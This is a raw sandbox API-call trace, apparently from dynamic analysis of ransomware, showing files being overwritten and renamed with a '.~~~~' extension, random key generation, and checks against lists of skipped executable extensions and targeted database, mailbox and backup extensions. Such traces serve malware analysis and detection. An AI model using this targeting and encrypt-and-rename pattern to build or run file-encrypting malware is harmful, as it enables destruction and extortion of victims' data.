	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2678 | out: hHeap=0x300000) returned 1
	[0084.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28081e0
	[0084.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bd90
	[0084.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0084.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.183] GetLastError () returned 0x0
	[0084.183] GetLastError () returned 0x0
	[0084.183] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.183] GetLastError () returned 0x0
	[0084.183] GetLastError () returned 0x0
	[0084.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.184] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x239, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x239, lpOverlapped=0x0) returned 1
	[0084.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.185] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.185] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.185] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.185] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.185] CloseHandle (hObject=0x124) returned 1
	[0084.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6e80
	[0084.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.~~~~")) returned 1
	[0084.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6e80 | out: hHeap=0x300000) returned 1
	[0084.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.186] GetLastError () returned 0x0
	[0084.186] RtlWakeConditionVariable () returned 0x365f70
	[0084.186] GetCurrentThreadId () returned 0x9f4
	[0084.186] GetCurrentThreadId () returned 0x9f4
	[0084.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28081e0
	[0084.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26b0 | out: hHeap=0x300000) returned 1
	[0084.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.186] lstrlenW (lpString=".scr") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".scr") returned 0x0
	[0084.187] lstrlenW (lpString=".cmd") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".cmd") returned 0x0
	[0084.187] lstrlenW (lpString=".dll") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dll") returned 0x0
	[0084.187] lstrlenW (lpString=".bat") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".bat") returned 0x0
	[0084.187] lstrlenW (lpString=".cpl") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".cpl") returned 0x0
	[0084.187] lstrlenW (lpString=".sys") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".sys") returned 0x0
	[0084.187] lstrlenW (lpString=".msc") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".msc") returned 0x0
	[0084.187] lstrlenW (lpString=".com") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".com") returned 0x0
	[0084.187] lstrlenW (lpString=".lnk") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".lnk") returned 0x0
	[0084.187] lstrlenW (lpString=".msp") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".msp") returned 0x0
	[0084.187] lstrlenW (lpString=".pif") returned 4
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".pif") returned 0x0
	[0084.187] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.188] lstrlenW (lpString=".sqb") returned 4
	[0084.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".sqb") returned 0x0
	[0084.188] lstrlenW (lpString=".ost") returned 4
	[0084.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".ost") returned 0x0
	[0084.188] lstrlenW (lpString=".txt") returned 4
	[0084.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".txt") returned 0x0
	[0084.188] lstrlenW (lpString=".mdt") returned 4
	[0084.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".mdt") returned 0x0
	[0084.189] lstrlenW (lpString=".BDB") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".BDB") returned 0x0
	[0084.189] lstrlenW (lpString=".eql") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".eql") returned 0x0
	[0084.189] lstrlenW (lpString=".DBF") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DBF") returned 0x0
	[0084.189] lstrlenW (lpString=".EQL") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".EQL") returned 0x0
	[0084.189] lstrlenW (lpString=".FDB") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".FDB") returned 0x0
	[0084.189] lstrlenW (lpString=".EDB") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".EDB") returned 0x0
	[0084.189] lstrlenW (lpString=".DACPAC") returned 7
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DACPAC") returned 0x0
	[0084.189] lstrlenW (lpString=".VHD") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".VHD") returned 0x0
	[0084.189] lstrlenW (lpString=".DBV") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DBV") returned 0x0
	[0084.189] lstrlenW (lpString=".dacpac") returned 7
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dacpac") returned 0x0
	[0084.189] lstrlenW (lpString=".sdf") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".sdf") returned 0x0
	[0084.189] lstrlenW (lpString=".accdb") returned 6
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".accdb") returned 0x0
	[0084.189] lstrlenW (lpString=".DBX") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DBX") returned 0x0
	[0084.189] lstrlenW (lpString=".MDT") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".MDT") returned 0x0
	[0084.189] lstrlenW (lpString=".SQB") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".SQB") returned 0x0
	[0084.189] lstrlenW (lpString=".vhd") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".vhd") returned 0x0
	[0084.189] lstrlenW (lpString=".bac") returned 4
	[0084.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".bac") returned 0x0
	[0084.189] lstrlenW (lpString=".mdf") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".mdf") returned 0x0
	[0084.190] lstrlenW (lpString=".BAK") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".BAK") returned 0x0
	[0084.190] lstrlenW (lpString=".BAC") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".BAC") returned 0x0
	[0084.190] lstrlenW (lpString=".dbs") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dbs") returned 0x0
	[0084.190] lstrlenW (lpString=".vhdx") returned 5
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".vhdx") returned 0x0
	[0084.190] lstrlenW (lpString=".NDF") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".NDF") returned 0x0
	[0084.190] lstrlenW (lpString=".dat") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dat") returned 0x0
	[0084.190] lstrlenW (lpString=".DBS") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DBS") returned 0x0
	[0084.190] lstrlenW (lpString=".CKP") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".CKP") returned 0x0
	[0084.190] lstrlenW (lpString=".edb") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".edb") returned 0x0
	[0084.190] lstrlenW (lpString=".PST") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".PST") returned 0x0
	[0084.190] lstrlenW (lpString=".dbf") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dbf") returned 0x0
	[0084.190] lstrlenW (lpString=".SQL") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".SQL") returned 0x0
	[0084.190] lstrlenW (lpString=".pst") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".pst") returned 0x0
	[0084.190] lstrlenW (lpString=".dbv") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dbv") returned 0x0
	[0084.190] lstrlenW (lpString=".SDF") returned 4
	[0084.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".SDF") returned 0x0
	[0084.191] lstrlenW (lpString=".dtxs") returned 5
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dtxs") returned 0x0
	[0084.191] lstrlenW (lpString=".db3") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".db3") returned 0x0
	[0084.191] lstrlenW (lpString=".OST") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".OST") returned 0x0
	[0084.191] lstrlenW (lpString=".dbx") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dbx") returned 0x0
	[0084.191] lstrlenW (lpString=".DB3") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DB3") returned 0x0
	[0084.191] lstrlenW (lpString=".DAT") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DAT") returned 0x0
	[0084.191] lstrlenW (lpString=".VHDX") returned 5
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".VHDX") returned 0x0
	[0084.191] lstrlenW (lpString=".ndf") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".ndf") returned 0x0
	[0084.191] lstrlenW (lpString=".DB") returned 3
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DB") returned 0x0
	[0084.191] lstrlenW (lpString=".sql") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".sql") returned 0x0
	[0084.191] lstrlenW (lpString=".MYD") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".MYD") returned 0x0
	[0084.191] lstrlenW (lpString=".DBT") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DBT") returned 0x0
	[0084.191] lstrlenW (lpString=".ACCDB") returned 6
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".ACCDB") returned 0x0
	[0084.191] lstrlenW (lpString=".fdb") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".fdb") returned 0x0
	[0084.191] lstrlenW (lpString=".bak") returned 4
	[0084.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".bak") returned 0x0
	[0084.191] lstrlenW (lpString=".myd") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".myd") returned 0x0
	[0084.192] lstrlenW (lpString=".DTXS") returned 5
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".DTXS") returned 0x0
	[0084.192] lstrlenW (lpString=".ckp") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".ckp") returned 0x0
	[0084.192] lstrlenW (lpString=".dbt") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".dbt") returned 0x0
	[0084.192] lstrlenW (lpString=".db") returned 3
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".db") returned 0x0
	[0084.192] lstrlenW (lpString=".TXT") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".TXT") returned 0x0
	[0084.192] lstrlenW (lpString=".MDF") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".MDF") returned 0x0
	[0084.192] lstrlenW (lpString=".bdb") returned 4
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".bdb") returned 0x0
	[0084.192] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.192] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.193] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.193] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.193] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20418338852) returned 1
	[0084.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c043710, dwHighDateTime=0x1d60e1e)) 
	[0084.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a26b0
	[0084.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26b0 | out: hHeap=0x300000) returned 1
	[0084.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808138
	[0084.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bd90
	[0084.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808138 | out: hHeap=0x300000) returned 1
	[0084.194] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.194] GetLastError () returned 0x0
	[0084.194] GetLastError () returned 0x0
	[0084.194] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.194] GetLastError () returned 0x0
	[0084.195] GetLastError () returned 0x0
	[0084.196] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.196] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x253, lpOverlapped=0x0) returned 1
	[0084.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.196] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.197] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.197] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.197] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.197] CloseHandle (hObject=0x124) returned 1
	[0084.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6dc8
